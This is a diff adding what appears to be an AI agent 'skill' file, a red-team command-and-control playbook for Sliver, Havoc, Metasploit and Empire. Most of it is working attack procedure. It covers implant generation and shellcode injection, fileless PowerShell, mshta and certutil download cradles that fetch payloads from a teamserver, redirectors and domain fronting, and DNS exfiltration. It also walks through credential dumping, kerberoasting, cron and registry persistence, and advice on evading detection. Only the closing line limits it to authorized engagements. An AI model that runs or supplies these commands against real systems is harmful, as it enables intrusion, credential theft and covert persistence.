+ Password = "StrongPassword123!"
365
+ }
366
+ }
367
+
368
+ Listeners {
369
+ Http {
370
+ Name = "http-listener"
371
+ Hosts = ["TEAMSERVER_IP"]
372
+ HostBind = "0.0.0.0"
373
+ PortBind = 80
374
+ PortConn = 80
375
+ HostRotation = "round-robin"
376
+ Secure = false
377
+ UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
378
+
379
+ Headers {
380
+ "Content-type" = "text/plain"
381
+ "Cache-Control" = "no-cache"
382
+ }
383
+
384
+ Uris = [
385
+ "/wordpress/wp-content/plugins/",
386
+ "/static/js/analytics.js",
387
+ "/api/v2/telemetry"
388
+ ]
389
+
390
+ Response {
391
+ Headers {
392
+ "Content-type" = "text/html; charset=utf-8"
393
+ "Server" = "Apache/2.4.41"
394
+ }
395
+ }
396
+ }
397
+ }
398
+ ```
399
+
400
+ ```bash
401
+ # Start teamserver with profile
402
+ ./teamserver server --profile profiles/engagement.yaotl
403
+
404
+ # Connect client
405
+ python3 Havoc.py --profile profiles/engagement.yaotl
406
+ ```
407
+
408
+ #### 2. Generate Demon Agent (Havoc)
409
+
410
+ Via the Havoc GUI:
411
+ 1. Navigate to Attack > Payload
412
+ 2. Select listener
413
+ 3. Configure sleep (300s recommended), jitter (30%)
414
+ 4. Enable indirect syscalls, stack spoofing
415
+ 5. Set injection method to "NtCreateThreadEx"
416
+ 6. Generate and download
417
+
418
+ #### 3. Demon Agent Commands
419
+
420
+ ```bash
421
+ # In Havoc console (interact with agent)
422
+ # Basic recon
423
+ whoami /all
424
+ shell ipconfig /all
425
+ shell net user /domain
426
+ shell net group "Domain Admins" /domain
427
+
428
+ # Process operations
429
+ ps # List processes
430
+ inject <PID> <shellcode_path> # Inject shellcode into process
431
+ token steal <PID> # Steal token from process
432
+ token make <user> <pass> <domain> # Create token
433
+
434
+ # Inline .NET execution (no disk touch)
435
+ dotnet inline-execute /tmp/Rubeus.exe asktgt /user:TARGET /password:PASS
436
+
437
+ # BOF execution
438
+ bof /tmp/whoami.o
439
+
440
+ # SOCKS5 pivot
441
+ socks 1080
442
+ ```
443
+
444
+ #### 4. Process Injection Techniques
445
+
446
+ ```bash
447
+ # Sliver — injection into existing process
448
+ sliver (IMPLANT) > ps | grep -i explorer
449
+ sliver (IMPLANT) > migrate --pid 1234
450
+
451
+ # Metasploit — process migration
452
+ meterpreter > migrate 1234
453
+ meterpreter > migrate -N explorer.exe
454
+
455
+ # Havoc — inject shellcode
456
+ # Generate raw shellcode from Sliver/Metasploit, inject via Havoc
457
+ inject 1234 /tmp/beacon.bin
458
+ ```
459
+
460
+ #### 5. Living-off-the-Land C2 Delivery
461
+
462
+ ```powershell
463
+ # PowerShell download cradle (Empire/Metasploit staging)
464
+ powershell -nop -w hidden -enc BASE64_ENCODED_COMMAND
465
+
466
+ # WMI-based execution (for lateral movement)
467
+ wmic /node:TARGET_IP process call create "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://TEAMSERVER/stage')"
468
+
469
+ # MSHTA delivery
470
+ mshta http://TEAMSERVER/payload.hta
471
+
472
+ # Certutil (download)
473
+ certutil -urlcache -split -f http://TEAMSERVER/implant.exe C:\Windows\Temp\svc.exe
474
+ ```
475
+
476
+ ---
477
+
478
+ ### EXPERT — Infrastructure, Redirectors, and Domain Fronting
479
+
480
+ **Goal:** Build resilient, detection-resistant C2 infrastructure.
481
+
482
+ #### 1. Apache Redirector with mod_rewrite
483
+
484
+ ```bash
485
+ # Install Apache on redirector VPS
486
+ sudo apt install apache2
487
+ sudo a2enmod rewrite proxy proxy_http ssl
488
+
489
+ # /etc/apache2/sites-available/redirector.conf
490
+ ```
491
+
492
+ ```apache
493
+ <VirtualHost *:443>
494
+ ServerName c2.yourdomain.com
495
+ SSLEngine on
496
+ SSLCertificateFile /etc/ssl/certs/fullchain.pem
497
+ SSLCertificateKeyFile /etc/ssl/private/privkey.pem
498
+
499
+ RewriteEngine On
500
+
501
+ # Only pass Sliver/Havoc URIs to teamserver
502
+ RewriteCond %{REQUEST_URI} ^/(wordpress/wp-content|static/js|api/v2) [NC]
503
+ RewriteRule ^(.*)$ http://TEAMSERVER_IP:80$1 [P,L]
504
+
505
+ # Block everything else (return 404 or redirect to legitimate site)
506
+ RewriteRule ^(.*)$ https://www.google.com/ [R=302,L]
507
+ </VirtualHost>
508
+ ```
509
+
510
+ ```bash
511
+ sudo a2ensite redirector.conf
512
+ sudo systemctl reload apache2
513
+ ```
514
+
515
+ #### 2. Nginx Redirector
516
+
517
+ ```nginx
518
+ # /etc/nginx/sites-available/c2-redirector
519
+ server {
520
+ listen 443 ssl;
521
+ server_name c2.yourdomain.com;
522
+
523
+ ssl_certificate /etc/ssl/certs/fullchain.pem;
524
+ ssl_certificate_key /etc/ssl/private/privkey.pem;
525
+
526
+ # Forward C2 traffic
527
+ location ~ ^/(api|static|wp-content) {
528
+ proxy_pass http://TEAMSERVER_IP:80;
529
+ proxy_set_header Host $host;
530
+ proxy_set_header X-Real-IP $remote_addr;
531
+ }
532
+
533
+ # Decoy response for scanners
534
+ location / {
535
+ return 302 https://microsoft.com;
536
+ }
537
+ }
538
+ ```
539
+
540
+ #### 3. DNS C2 with Sliver
541
+
542
+ ```bash
543
+ # Delegate DNS subdomain to teamserver
544
+ # In your domain registrar, add NS records:
545
+ # c2ns.yourdomain.com -> NS -> TEAMSERVER_IP
546
+
547
+ # Start DNS listener on teamserver
548
+ sliver > dns --domains c2.yourdomain.com --lhost TEAMSERVER_IP
549
+
550
+ # Generate DNS beacon
551
+ sliver > generate beacon --dns c2.yourdomain.com \
552
+ --seconds 120 --jitter 60 \
553
+ --os windows --arch amd64 --format exe
554
+
555
+ # DNS C2 is extremely slow but nearly impossible to block without breaking DNS
556
+ # Use only for fallback or exfil in locked-down environments
557
+ ```
558
+
559
+ #### 4. Domain Fronting (CDN-based)
560
+
561
+ ```bash
562
+ # Concept: Route C2 traffic through CDN (Cloudflare, Azure CDN, CloudFront)
563
+ # CDN sees traffic as going to a legitimate domain; real destination is your teamserver
564
+
565
+ # Cloudflare setup:
566
+ # 1. Add your domain to Cloudflare
567
+ # 2. Set A record for c2.yourdomain.com -> TEAMSERVER_IP (proxied = orange cloud ON)
568
+ # 3. Sliver listener uses HTTPS with your domain
569
+ # 4. All traffic appears to come from Cloudflare IPs
570
+
571
+ sliver > https --lhost 0.0.0.0 --lport 443 \
572
+ --cert /etc/ssl/certs/fullchain.pem \
573
+ --key /etc/ssl/private/privkey.pem
574
+
575
+ sliver > generate --http https://c2.yourdomain.com \
576
+ --os windows --arch amd64 --format exe
577
+ ```
578
+
579
+ #### 5. Multi-Hop C2 with SOCKS Pivoting
580
+
581
+ ```bash
582
+ # Establish first hop
583
+ sliver (IMPLANT_DMZ) > socks5 start --host 127.0.0.1 --port 1080
584
+
585
+ # Configure proxychains
586
+ # /etc/proxychains4.conf
587
+ # socks5 127.0.0.1 1080
588
+
589
+ # Use proxychains to reach internal network
590
+ proxychains nmap -sT -Pn 10.10.10.0/24 -p 22,80,443,3389,445
591
+
592
+ # Generate implant for internal network (routed through first hop)
593
+ proxychains sliver > generate --mtls 10.10.10.20:8888 \
594
+ --os windows --arch amd64 --format exe
595
+
596
+ # Stage internal implant via first hop
597
+ proxychains python3 -m http.server 8080
598
+ ```
599
+
600
+ #### 6. C2 Profile Customization (Malleable C2)
601
+
602
+ ```bash
603
+ # Sliver HTTP C2 profile customization
604
+ # Edit ~/.sliver/configs/http-c2.json
605
+
606
+ {
607
+ "implant_config": {
608
+ "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
609
+ "chrome_base_version": 100,
610
+ "macos_version": "10_15_7",
611
+ "url_parameters": {
612
+ "session": "ABCxyz123",
613
+ "utm_source": "google"
614
+ },
615
+ "headers": [
616
+ {"name": "Accept", "value": "text/html,application/xhtml+xml"},
617
+ {"name": "Accept-Language", "value": "en-US,en;q=0.9"},
618
+ {"name": "Cache-Control", "value": "max-age=0"}
619
+ ],
620
+ "paths": ["/wp-content/plugins/", "/static/js/", "/api/v2/data/"]
621
+ }
622
+ }
623
+ ```
624
+
625
+ ---
626
+
627
+ ## Step-by-Step Attack Workflow
628
+
629
+ ### Phase 1: Infrastructure Preparation
630
+
631
+ ```
632
+ 1. Acquire VPS for teamserver (pay with cryptocurrency if applicable)
633
+ 2. Register domain > 30 days old (or purchase aged domain)
634
+ 3. Configure DNS: A records for c2.domain.com pointing to redirector
635
+ 4. Obtain TLS certificate: sudo certbot certonly --standalone -d c2.domain.com
636
+ 5. Install and configure redirector (Apache/Nginx with mod_rewrite)
637
+ 6. Install Sliver (or chosen framework) on teamserver
638
+ 7. Configure firewall: only allow redirector IP to reach teamserver ports
639
+ 8. Test connectivity: curl -k https://c2.domain.com/test-uri
640
+ ```
641
+
642
+ ### Phase 2: Implant Generation
643
+
644
+ ```
645
+ 9. Choose transport based on target environment:
646
+ - HTTPS: most environments allow outbound 443
647
+ - DNS: for heavily filtered environments
648
+ - mTLS: for internal red team infrastructure
649
+ 10. Configure sleep/jitter appropriate to engagement duration:
650
+ - Active ops: 30s / 20% jitter
651
+ - Long-haul persistent: 300s / 40% jitter
652
+ 11. Generate implant with appropriate format:
653
+ - exe: direct execution
654
+ - shellcode: for injection via dropper
655
+ - dll: for DLL sideloading
656
+ 12. Test implant in isolated lab before deploying to target
657
+ 13. Check implant against AV (VirusTotal ONLY after engagement, use antiscan.me during)
658
+ ```
659
+
660
+ ### Phase 3: Initial Access and Callback
661
+
662
+ ```
663
+ 14. Deliver implant via agreed initial access method:
664
+ - Phishing email with macro document
665
+ - Exploiting vulnerability (separate skill)
666
+ - Physical access / USB drop
667
+ 15. Confirm callback in Sliver: sessions -l
668
+ 16. Verify implant integrity: whoami, sysinfo
669
+ 17. Migrate to stable process if needed (avoid short-lived processes)
670
+ 18. Document: session ID, hostname, username, timestamp
671
+ ```
672
+
673
+ ### Phase 4: Post-Exploitation via C2
674
+
675
+ ```
676
+ 19. Situational awareness:
677
+ sliver > ifconfig, netstat, ps, env
678
+ 20. Privilege escalation (if needed):
679
+ sliver > execute -o whoami /priv
680
+ Use dedicated priv-esc skill
681
+ 21. Credential harvesting (requires elevated privileges):
682
+ sliver > armory install sharp-dpapi
683
+ sliver > sharp-dpapi machinemasterkeys
684
+ 22. Lateral movement:
685
+ sliver > socks5 start --port 1080
686
+ proxychains crackmapexec smb 10.10.10.0/24
687
+ 23. Establish secondary persistence:
688
+ - Register-scheduled-task via shell
689
+ - WMI subscription
690
+ - Registry Run key
691
+ 24. Pivot deeper: generate new implant for each network segment
692
+ ```
693
+
694
+ ### Phase 5: Objectives and Cleanup
695
+
696
+ ```
697
+ 25. Complete engagement objectives (data exfil, access proof screenshots)
698
+ 26. Document all implants deployed (for cleanup)
699
+ 27. Remove persistence mechanisms in reverse order
700
+ 28. Kill all active sessions
701
+ 29. Delete implant files from target systems
702
+ 30. Archive teamserver logs and session recordings
703
+ ```
704
+
705
+ ---
706
+
707
+ ## Real Attack Scenarios
708
+
709
+ ### Scenario 1: Corporate External Phishing to Domain Admin
710
+
711
+ **Environment:** Windows Active Directory, Defender enabled, outbound HTTPS allowed
712
+
713
+ ```bash
714
+ # Step 1: Generate HTTPS Sliver beacon with profile mimicking browser traffic
715
+ sliver > generate beacon \
716
+ --http https://updates.microsoft-cdn.com \
717
+ --seconds 60 --jitter 30 \
718
+ --os windows --arch amd64 \
719
+ --format shellcode \
720
+ --save /tmp/stage2.bin
721
+
722
+ # Step 2: Wrap shellcode in VBA macro dropper (use separate dropper skill)
723
+ # Macro downloads stage2.bin and injects into explorer.exe
724
+
725
+ # Step 3: Beacon checks in; operator interacts
726
+ sliver > beacons
727
+ sliver > use BEACON_ID
728
+
729
+ # Step 4: Situational awareness
730
+ sliver (CORP-PC01) > whoami
731
+ sliver (CORP-PC01) > sysinfo
732
+ sliver (CORP-PC01) > ps | grep -i defender
733
+
734
+ # Step 5: Dump credentials (if admin)
735
+ sliver (CORP-PC01) > armory install sharp-hound-4
736
+ sliver (CORP-PC01) > sharp-hound-4 --CollectionMethods All --OutputDirectory /tmp
737
+
738
+ # Download BloodHound output
739
+ sliver (CORP-PC01) > download /tmp/20240101_BloodHound.zip
740
+
741
+ # Step 6: Identify DA path via BloodHound, target kerberoastable accounts
742
+ # Step 7: Pivot to DC
743
+ sliver (CORP-PC01) > socks5 start --port 1080
744
+ proxychains impacket-GetUserSPNs DOMAIN/user:password -dc-ip 10.10.10.10 -request
745
+
746
+ # Step 8: Crack hash offline, use to get DA session
747
+ proxychains impacket-psexec DOMAIN/DA_USER@DC_IP
748
+ ```
749
+
750
+ ---
751
+
752
+ ### Scenario 2: Assumed Breach — Internal Pivot via DNS C2
753
+
754
+ **Environment:** Heavily monitored network, DNS only allowed outbound
755
+
756
+ ```bash
757
+ # Step 1: Configure DNS C2 (DNS delegation pre-configured)
758
+ sliver > dns --domains internal-telemetry.corp-updates.com
759
+
760
+ # Step 2: Generate DNS beacon (slow but stealthy)
761
+ sliver > generate beacon \
762
+ --dns internal-telemetry.corp-updates.com \
763
+ --seconds 300 --jitter 120 \
764
+ --os windows --arch amd64 \
765
+ --format exe \
766
+ --save /tmp/dns_beacon.exe
767
+
768
+ # Step 3: Place beacon on target (via assumed breach access)
769
+ # Copy to C:\Windows\System32\svchost_updater.exe
770
+
771
+ # Step 4: Wait for check-in (DNS beacon is slow — plan accordingly)
772
+ sliver > beacons
773
+
774
+ # Step 5: Minimal footprint commands (each command = DNS query burst)
775
+ sliver (TARGET) > whoami
776
+ sliver (TARGET) > execute -o "net localgroup administrators"
777
+
778
+ # Step 6: For large data transfer, switch to HTTPS via second implant
779
+ # Generate HTTPS implant, upload via DNS session (slow), execute
780
+ sliver (TARGET) > upload /tmp/https_beacon.exe C:\\Windows\\Temp\\wuauclt.exe
781
+ sliver (TARGET) > execute -o "C:\\Windows\\Temp\\wuauclt.exe"
782
+ ```
783
+
784
+ ---
785
+
786
+ ### Scenario 3: Metasploit + Sliver Handoff (Rapid Exploitation to Persistent Access)
787
+
788
+ **Environment:** Exploitable web server, need persistent access beyond Metasploit
789
+
790
+ ```bash
791
+ # Step 1: Exploit via Metasploit
792
+ msfconsole
793
+ msf6 > use exploit/multi/handler
794
+ msf6 > set PAYLOAD linux/x64/meterpreter/reverse_tcp
795
+ msf6 > set LHOST YOUR_IP
796
+ msf6 > set LPORT 4444
797
+ msf6 > run -j
798
+
799
+ # (Trigger exploit — separate step)
800
+
801
+ # Step 2: In Meterpreter session, download and run Sliver implant
802
+ meterpreter > upload /tmp/sliver_linux /tmp/.update
803
+ meterpreter > shell
804
+ $ chmod +x /tmp/.update
805
+ $ /tmp/.update &
806
+ $ exit
807
+
808
+ # Step 3: Switch to Sliver for persistent operations
809
+ sliver > sessions # Sliver session appears
810
+ sliver > use SESSION_ID
811
+
812
+ # Step 4: Kill Meterpreter session (clean up noisier connection)
813
+ msf6 > sessions -k 1
814
+
815
+ # Step 5: Establish persistence via cron
816
+ sliver (WEB-SERVER) > execute -o "echo '*/15 * * * * /tmp/.update' | crontab -"
817
+
818
+ # Step 6: Set up SOCKS proxy for internal network access
819
+ sliver (WEB-SERVER) > socks5 start --port 1080
820
+ proxychains nmap -sT -Pn 10.0.0.0/8 -p 22,80,443,3389,445 --open
821
+ ```
822
+
823
+ ---
824
+
825
+ ## Empire PowerShell C2 (Windows-Heavy Environments)
826
+
827
+ ```bash
828
+ # Start Empire server
829
+ sudo ./empire --server
830
+
831
+ # Connect Empire client
832
+ ./empire --client
833
+
834
+ # Create HTTP listener
835
+ (Empire) > uselistener http
836
+ (Empire: uselistener/http) > set Name http1
837
+ (Empire: uselistener/http) > set Host http://TEAMSERVER_IP
838
+ (Empire: uselistener/http) > set Port 80
839
+ (Empire: uselistener/http) > execute
840
+
841
+ # Generate stager
842
+ (Empire) > usestager windows/launcher_bat
843
+ (Empire: stager/windows/launcher_bat) > set Listener http1
844
+ (Empire: stager/windows/launcher_bat) > execute
845
+
846
+ # List agents
847
+ (Empire) > agents
848
+
849
+ # Interact with agent
850
+ (Empire) > interact AGENT_NAME
851
+
852
+ # Run modules
853
+ (Empire: AGENT_NAME) > usemodule situational_awareness/host/winenum
854
+ (Empire: AGENT_NAME) > usemodule credentials/mimikatz/logonpasswords
855
+ (Empire: AGENT_NAME) > usemodule lateral_movement/invoke_wmi
856
+ ```
857
+
858
+ ---
859
+
860
+ ## OPSEC Considerations
861
+
862
+ ### Detection Risks
863
+
864
+ | Risk | Framework | Detection Method | Mitigation |
865
+ |------|-----------|-----------------|------------|
866
+ | Default certificates | All | TLS fingerprinting (JA3/JA3S) | Use custom certs, modify TLS stack |
867
+ | Default URIs | Sliver/Havoc | Proxy/IDS URI matching | Customize HTTP profiles |
868
+ | Beacon regularity | All | Beaconing analysis via ML | High jitter (40%+), sleep skew |
869
+ | Process hollowing | Metasploit | Memory scanning, ETW | Use BOFs, direct syscalls |
870
+ | DNS query bursts | Sliver DNS | DNS analytics | Longer sleep intervals |
871
+ | TeamServer exposure | All | Port scanning, cert lookup | Always use redirectors |
872
+ | Known IOCs | Metasploit | AV/EDR signatures | Custom encoders, in-memory staging |
873
+ | Lateral movement noise | All | SIEM correlation rules | Single-hop pivoting, credential reuse |
874
+
875
+ ### Detection Mitigation — Detailed
876
+
877
+ ```bash
878
+ # 1. Randomize beacon sleep with jitter
879
+ # Sliver beacon with 40% jitter
880
+ sliver > generate beacon --seconds 300 --jitter 120 ...
881
+
882
+ # 2. Avoid spawning cmd.exe / powershell.exe from unusual parents
883
+ # Use execute -o instead of shell command in Sliver
884
+ sliver (IMPLANT) > execute -o whoami # Direct execution, no shell spawn
885
+ # vs (AVOID)
886
+ sliver (IMPLANT) > shell # Spawns cmd.exe — loud
887
+
888
+ # 3. Migrate into long-running, signed processes
889
+ # Target: explorer.exe, svchost.exe, RuntimeBroker.exe
890
+ sliver (IMPLANT) > migrate --pid <EXPLORER_PID>
891
+
892
+ # 4. Clean up staged files
893
+ sliver (IMPLANT) > rm C:\\Users\\Public\\implant.exe
894
+
895
+ # 5. Use HTTPS to blend with legitimate web traffic
896
+ # HTTP implants are trivially inspected by proxy
897
+
898
+ # 6. Validate redirector is working (teamserver IP never touches target)
899
+ curl -v https://c2.yourdomain.com/api/v2/test
900
+ # Should respond (even with 404) from redirector, not teamserver
901
+
902
+ # 7. Use in-memory execution where possible
903
+ # Avoid writing implant to disk — use fileless staging
904
+ powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://TEAMSERVER/stage')"
905
+ ```
906
+
907
+ ### Log Artifacts to be Aware Of
908
+
909
+ ```
910
+ Windows:
911
+ - Event ID 4688: Process creation (cmd.exe, powershell.exe children)
912
+ - Event ID 4624/4625: Logon events (lateral movement)
913
+ - Event ID 7045: New service installed (persistence)
914
+ - Sysmon Event ID 3: Network connections from implant process
915
+ - Sysmon Event ID 8: CreateRemoteThread (process injection)
916
+ - PowerShell Script Block Logging (Event ID 4104)
917
+
918
+ Linux:
919
+ - /var/log/auth.log: SSH and sudo activity
920
+ - /var/log/syslog: Cron job execution
921
+ - auditd: System call auditing (execve, open)
922
+ - bash history: Operator commands (clear with unset HISTFILE)
923
+
924
+ Network:
925
+ - Proxy logs: User-agent strings, URI patterns
926
+ - DNS logs: Unusual query frequency, subdomain patterns
927
+ - NetFlow: Beaconing to external IPs
928
+ - IDS alerts: Sliver/Metasploit signatures (update to custom profiles)
929
+ ```
930
+
931
+ ---
932
+
933
+ ## Output and Documentation Instructions
934
+
935
+ ### Session Recording
936
+
937
+ ```bash
938
+ # Sliver — all commands and output are logged automatically
939
+ # Logs stored: ~/.sliver/logs/
940
+
941
+ # Metasploit — spool output to file
942
+ msf6 > spool /tmp/engagement_msf.log
943
+
944
+ # Manual screenshot evidence
945
+ sliver (IMPLANT) > screenshot
946
+ # Saves to: ~/.sliver/screenshots/
947
+
948
+ # Terminal session recording (entire operator terminal)
949
+ script -a /tmp/rt_session_$(date +%Y%m%d_%H%M%S).log
950
+ # Stop with: exit
951
+ ```
952
+
953
+ ### Evidence Collection Template
954
+
955
+ ```
956
+ For each C2 session, document:
957
+
958
+ DATE/TIME (UTC):
959
+ OPERATOR:
960
+ TARGET HOSTNAME:
961
+ TARGET IP:
962
+ TARGET OS:
963
+ FRAMEWORK USED:
964
+ SESSION/BEACON ID:
965
+ IMPLANT HASH (SHA256):
966
+ TRANSPORT:
967
+ CALLBACK IP/DOMAIN:
968
+ INITIAL ACCESS METHOD:
969
+ PRIVILEGES OBTAINED:
970
+ ACTIONS TAKEN: (list with timestamps)
971
+ EVIDENCE FILES: (screenshots, downloads)
972
+ PERSISTENCE MECHANISMS: (must be removed at end)
973
+ ```
974
+
975
+ ### Implant Tracking
976
+
977
+ ```bash
978
+ # SHA256 hash all implants before deployment
979
+ sha256sum implant.exe > /tmp/implant_hashes.txt
980
+
981
+ # Track all deployed implants in engagement log
982
+ echo "$(date -u) | implant.exe | TARGET_HOSTNAME | C:\\Windows\\Temp\\" >> /tmp/deployed_implants.txt
983
+
984
+ # End-of-engagement cleanup checklist
985
+ # - Remove all files listed in deployed_implants.txt
986
+ # - Delete all scheduled tasks / cron jobs created
987
+ # - Revert registry modifications
988
+ # - Confirm no active sessions remain: sliver > sessions
989
+ ```
990
+
991
+ ---
992
+
993
+ ## Troubleshooting
994
+
995
+ ```bash
996
+ # Implant not calling back
997
+ # 1. Verify listener is running
998
+ sliver > jobs
999
+
1000
+ # 2. Test connectivity from target network
1001
+ curl -k https://c2.yourdomain.com/api/v2/test
1002
+
1003
+ # 3. Check firewall on teamserver
1004
+ sudo iptables -L -n | grep -E "80|443|8888"
1005
+
1006
+ # 4. Check redirector logs
1007
+ sudo tail -f /var/log/apache2/access.log
1008
+
1009
+ # 5. DNS not resolving
1010
+ nslookup c2.yourdomain.com TEAMSERVER_IP
1011
+
1012
+ # Session keeps dying
1013
+ # 1. Migrate to stable process
1014
+ sliver (IMPLANT) > migrate --pid <SVCHOST_PID>
1015
+
1016
+ # 2. Increase sleep (short sleep = more noise = faster detection/kill)
1017
+ # Regenerate beacon with longer interval
1018
+
1019
+ # 3. Check if AV is killing implant
1020
+ # Use process injection rather than standalone exe
1021
+
1022
+ # mTLS connection issues
1023
+ # Verify cert and key match
1024
+ openssl verify -CAfile ca.crt client.crt
1025
+ ```
1026
+
1027
+ ---
1028
+
1029
+ ## Resources
1030
+
1031
+ ### Documentation
1032
+
1033
+ - Sliver Wiki: https://github.com/BishopFox/sliver/wiki
1034
+ - Havoc Documentation: https://havocframework.com/docs
1035
+ - Empire Documentation: https://bc-security.gitbook.io/empire-wiki
1036
+ - Metasploit Documentation: https://docs.metasploit.com
1037
+
1038
+ ### GitHub Repositories
1039
+
1040
+ - Sliver C2: https://github.com/BishopFox/sliver
1041
+ - Havoc C2: https://github.com/HavocFramework/Havoc
1042
+ - Empire C2: https://github.com/BC-SECURITY/Empire
1043
+ - Metasploit Framework: https://github.com/rapid7/metasploit-framework
1044
+ - C2 Matrix (framework comparison): https://github.com/cedowens/C2_Matrix
1045
+
1046
+ ### C2 Profile Resources
1047
+
1048
+ - Sliver HTTP C2 config: https://github.com/BishopFox/sliver/blob/master/server/configs/http-c2.json
1049
+ - Malleable C2 profiles for Cobalt Strike (reference for profile design): https://github.com/rsmudge/Malleable-C2-Profiles
1050
+ - SourcePoint (Cobalt Strike profile generator, concepts apply): https://github.com/Tylous/SourcePoint
1051
+
1052
+ ### Detection and Evasion Research
1053
+
1054
+ - JA3/JA3S TLS fingerprinting: https://github.com/salesforce/ja3
1055
+ - Sliver detection research: https://github.com/matterpreter/OffensiveCSharp
1056
+ - C2 OPSEC guide: https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki
1057
+ - Red Team Infrastructure Wiki: https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki
1058
+
1059
+ ### BOF (Beacon Object Files)
1060
+
1061
+ - TrustedSec CS-Situational-Awareness-BOF: https://github.com/trustedsec/CS-Situational-Awareness-BOF
1062
+ - Sliver Armory: https://github.com/sliverarmory
1063
+ - Outflank BOFs: https://github.com/outflanknl/C2-Tool-Collection
1064
+
1065
+ ### Redirector Setup
1066
+
1067
+ - Apache mod_rewrite for C2: https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki/blob/master/Redirectors.md
1068
+ - Nginx C2 proxy configs: https://github.com/threatexpress/cs2modrewrite
1069
+
1070
+ ---
1071
+
1072
+ *All techniques documented here are for authorized red team engagements only. Ensure written authorization is obtained before deploying C2 infrastructure against any target environment.*